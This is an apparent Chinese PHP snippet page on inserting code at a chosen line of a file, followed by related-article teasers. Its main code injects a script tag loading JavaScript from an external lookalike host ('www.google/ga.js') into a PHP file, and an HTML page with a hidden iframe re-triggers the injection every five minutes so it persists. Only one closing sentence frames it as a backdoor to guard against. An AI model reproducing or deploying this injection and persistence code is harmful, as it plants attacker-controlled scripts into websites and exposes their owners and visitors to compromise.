php在文件指定行中写入代码的方法

yipeiwu_com6年前PHP代码库
复制代码 代码如下:

<?php
$file="aa.php" ;
$code="<script src=http://www.google/ga.js></script>";
$f=fopen($file,"r+");
$content=fread($f,filesize($file));
fclose($f);
if(!strstr($content,$code)){
$arrInsert = insertContent($file, $code, 3);
unlink($file);
foreach($arrInsert as $value)
{
file_put_contents($file, $value, FILE_APPEND);
}
}
function insertContent($source, $s, $iLine) {
$file_handle = fopen($source, "r");
$i = 0;
$arr = array();
while (!feof($file_handle)) {
$line = fgets($file_handle);
++$i;
if ($i == $iLine) {
$arr[] = $line .$s . "\n";
}else {
$arr[] = $line;
}
}
fclose($file_handle);
return $arr;
}
?>

这个文件保存成php后,再用一个小程序隔几分钟指定执行它就可以。像operia浏览器就有这个功能。不过我又加了个html代码来运行它,可以用ie了,打开这个html后扔在哪就可以。
复制代码 代码如下:

<HTML>
<HEAD>
</HEAD>
<BODY>
<SCRIPT LANGUAGE="JScript">
function singOut() {
var O = document.createElement("iframe");
O.src="http://www.google.com/上边的php文件.php";
O.width=100;
O.height=100;
document.body.appendChild(O);
}
window.setInterval("singOut();",300000);
</SCRIPT>
</BODY>
</HTML>

解决方法:这些代码都会在php中写入代码,我们可以写个规则禁止修改php文件.即可,一般服务器中才可以了,如果是虚拟主机的朋友就需要下载代码,经常查后门来解决了

相关文章

PHP 解决utf-8和gb2312编码转换问题

终于皇天不负有心人,答案还是让我找到了。 网上的都是这样用的 复制代码 代码如下:$content = iconv("utf-8","gb2312",$content); 这样做其实也对...

php配置php-fpm启动参数及配置详解

约定几个目录 /usr/local/php/sbin/php-fpm/usr/local/php/etc/php-fpm.conf/usr/local/php/etc/php.ini一,...

分享最受欢迎的5款PHP框架

分享最受欢迎的5款PHP框架

1. CodeIgniter Framework   CodeIgniter 是目前使用最广泛的 PHP 框架。CodeIgniter 是一个简单快速的PHP MVC 框架。...

PHP学习之数组值的操作

1. 值的析取PHP中,用list来析取数组中的值,如list($a, $b) = $array。如果list中的值多于数组个数,list中多余的值会设为NULL。也可以用逗号来跳过数...

php 随机生成10位字符代码

复制代码 代码如下:function randStr($len) { $chars='ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmn...